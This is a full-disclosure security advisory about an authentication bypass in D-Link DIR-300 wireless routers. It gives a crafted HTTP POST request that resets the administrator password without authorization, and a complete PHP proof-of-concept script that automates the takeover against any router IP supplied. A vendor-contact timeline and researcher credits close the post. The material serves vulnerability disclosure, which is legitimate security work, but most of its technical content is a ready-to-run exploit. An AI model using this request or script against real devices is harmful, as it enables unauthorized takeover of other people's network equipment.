D-Link DIR-300 authentication bypass

[intro]
Hello, I found security bug in D-Link DIR-300 wireless router. It can
be used to bypass authentication mechanizm by attacker with access to
web interface. I reported it to D-Link but they are not replying for
my emails. According to other D-Link security holes and their status I
think that they won't reply, so I decided to write about it here.

[Technical details]

Control panel script - tools_admin.php allows attacker to change
administrator name, password and other variables without any
authorization by sending specially crafted http post request such as:

—cut here—
POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0

ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh
—cut here—

If attacker makes this request to the control panel, the
administrator username is set to admin with password ,uhOHahEh".

[Affected]

• All known D-Link DIR-300 firmware (ie. 2.01B1, 1.04, 1.05).
• There is possibility that other dlink devices which use the same php
  scripts in control panel are affected. I'm not able to check it
  because I don't have devices for tests. I'm counting on you ;->

[Code]

—cut here—
<?php
if(sizeof($argv)!=4) {
echo "Usage: php5 $argv[0] <router ip addres> <port>
<admin password>\n";
exit;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
echo "+ starting request\n";
$out = curl_exec($ch);
if($out===false) {
echo "- Error: could not connect (
http://$argv[1]:$argv[2]/tools_admin.php).\n";
exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"Successfully")===false) {
echo "- something goes wrong (check answer - answer.html) !\n";
$f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
exit;
}
else
echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
—cut here—

[History]

• Information sent to vendor 07.08.2010
• No response
• Information resended to vendor 07.31.2010
• No response from vendor

[Credits]
Karol Celinski ( Celin )
Pentester/Researcher @ Safe Computing

[Contact]

karol at celin dot pl

[Greetz]
Tomasz Sawiak, Jacek Kowalski, Marcin Kozlowski, Robert Tomczykowski,
Wojtek Machaj, Marek Zmyslowski, Szymon Sobczyk and all Safe Computing
members.